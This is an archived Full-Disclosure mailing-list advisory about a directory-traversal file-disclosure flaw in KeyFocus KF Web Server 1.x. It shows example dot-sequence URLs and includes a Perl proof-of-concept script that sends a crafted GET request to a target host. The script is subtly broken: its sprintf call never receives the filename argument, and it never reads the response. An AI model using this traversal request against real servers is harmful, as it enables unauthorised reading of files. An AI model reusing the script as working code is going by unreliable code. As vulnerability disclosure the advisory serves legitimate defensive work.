full-disclosure - KeyFocus KF Web Server File Disclosure Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <123820-220021131322913509@M2W049.mail2web.com>
From: mattmurphy at kc.rr.com (mattmurphy@...rr.com)
Subject: KeyFocus KF Web Server File Disclosure Vulnerability

KeyFocus Web server is a Win32 HTTP server with web administration, a
variety of logging formats, such as NCSA and W3C, CGI, compression, memory
caching of static documents, directory indexing, pre-defined MIME settings,
internal authentication with support for multiple realms, and a variety of
URL checks that make it more secure against hacking attempts such as buffer
overruns.

KFWS 1.x contains a flaw that enables attackers to traverse above the
webroot in the directory structure.  This is not a traditional directory
traversal attack.  KFWS does not properly handle consecutive dot characters
in the file name:

http://kfws/.           - Current Directory
http://kfws/..          - 403 Forbidden
http://kfws/...         - KFWS install dir (OOPS!)
http://kfws/....        - Program Files
http://kfws/.....       - \

This vulnerability is limited by the internal hack defenses of the server
-- only files with recognized MIME types can be retreived.  This
significantly limits the damage from this vulnerability.

KFWS v2.0.0 (Beta) eliminates this vulnerability, and the next stable
version will eliminate the flaw as well.  Administrators who are concerned
about this flaw should upgrade to the beta.

I've included a Perl script to demonstrate this vulnerability:

#!/usr/bin/perl
use URI::Escape;
use IO::Socket;
if (@ARGV < 2) {
print STDOUT "Usage: perl $0 [filename] [host] [port]";
} else {
$f =
IO::Socket::INET->new(PeerAddr=>$ARGV[1],PeerPort=>$ARGV[2],Proto=>"tcp");
$url = uri_escape($ARGV[0]);
$exploit = sprintf("GET /.............../%s HTTP/1.0\r\n\r\n");
print $f $exploit;
undef $f;
}

--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web.com/ .